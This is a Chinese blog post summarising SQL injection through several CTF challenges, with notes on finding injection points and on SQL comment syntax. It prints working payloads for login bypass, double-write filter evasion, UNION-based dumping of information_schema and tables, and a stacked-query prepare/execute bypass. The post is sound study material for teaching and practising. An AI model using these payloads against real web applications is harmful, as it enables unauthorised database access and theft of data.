SQL注入总结

文章详细介绍了SQL注入的实战过程,包括利用万能密码、双写绕过、联合查询、预编译语句等技巧逐步破解不同难度级别的挑战。作者强调了理解库、表、列关系的重要性,并提供了寻找注入点的方法和SQL注释的作用。
摘要由CSDN通过智能技术生成

一、先来看一下分类:

  

二、练手

(1)简单来一下

来自buuctf例题

利用万能密码可以找到用户名为admin,密码为 1' or '1'='1   。不过这种情况少

成功获得flag

[极客大挑战 2019]Havefun

查看源代码可以看见

这里可以看到被注释的痕迹,大体可以告诉我们cat=dog可以得到新东西

输入/?cat=flag   即可

(2)中等

[极客大挑战 2019]BabySQL

先来一个万能密码,

123    1' or 1=1#

得到" 1=1#",判断or被正则过滤

先来一个双写绕过

登录成功

接下来

查询表的字段数

似乎是过滤了order和 by,继续使用双写

得到

只含有三个表

现在用联合查询注入,先使用普通的联合查询语句

1'union select1,2,database()

发现union 、select都被过滤了(其实还过滤了from,where),继续使用双写绕过

绕过的方式可以多样,都来试试后找到

1'ununion seselectlect 1,2database() #

终于爆出了数据库

 

接下来,爆列名

1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
 

后面来爆表名

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

查表的内容

1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
 

最后可以看到flag

(3)难

[强网杯 2019]随便注

先来判断一下是什么类型

直接输入1,没有回显,看似乎是字符型注入

先闭合,又用 # 进行注释

爆表的字段数

字段数为二

采用union

发现union,select 被过滤了,现在大概是堆叠注入

     堆叠注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

使用show函数

爆数据库

爆表名

爆字段(查表的话,需要使用反引号,show规定的

show的详细用法:

https://www.cnblogs.com/xzlive/p/9381683.html

现在知道基本知道flag在flag字段中中,而select 又被过滤了,可以使用预编译绕过

预编译
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句

构造payload:

-1';
set @a = CONCAT('se','lect * from `1919810931114514`;');  
prepare flag from @a;
EXECUTE flag;#

然后修改一下大小写

-1';
Set @a = CONCAT('se','lect * from `1919810931114514`;');  
Prepare flag from @a;
EXECUTE flag;#

终于得多flag了

三、总结

做SQL注入的题目,先明白库、表、列的关系

利用Navicat 来让你明确

新建my SQL

新建数据库

       

字符集,排序规则参考如下
 

打开数据库后创建表

接下来,创建了三个表,点击 添加字段,是不是null自行选择

还可以添加注释

保存

创建成功

在表里面添加内容

添加后保存,

后面使用命令来查询相关信息

查数据库名

查询登录用户

如何找注入点?

1,注入点首先观察搜索框的地址是否是有与数据库交互,例如html这种几乎是不存在注入的所以要先判断是否有交互。

2,交互点一般是搜索栏、留言版、登入/注册页面、以及最利于观察的搜索栏的地址如果类似于http//www.xxx.com/index.php?id=1这种很大程度存在注入当然有些注入点不会这么一眼看出会有些比较复杂例如http://www.xxx.com:50006/index.php?x=home&c=View&a=index&aid=9 这样的地址其实也可能存在注入。

3,管他什么地址只要结尾是xx=1(数字)就注就完事了

详细在:sql注入笔记一——寻找sql注入点 - 知乎 (zhihu.com)

SQL中注释的作用:

             

单行注释:“-- ”(双减号)

顾名思义,只能注释单行文本内容,"--"与注释内容之间需要用空格隔开

注释范围:从注释符开始到该行末尾的所有文本。

例:

show databases;  -- 列出所有数据库

多行注释:“/* */”

注释范围:包裹在注释符中间区域的文本内容,如在“/*...*/”中...代表的即为所注释的文本内容

注意:

--”与“/**/”均为SQL语句中的标准注释,只要是支持SQL的数据库都可以使用。

除此之外,不同的数据库也有自己的注释方式

  例如:MySQL单行注释:“#”

   “#”与注释内容之间无需空格隔开。

    注释范围:从“#”注释符开始到该行末尾。

  • 32
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值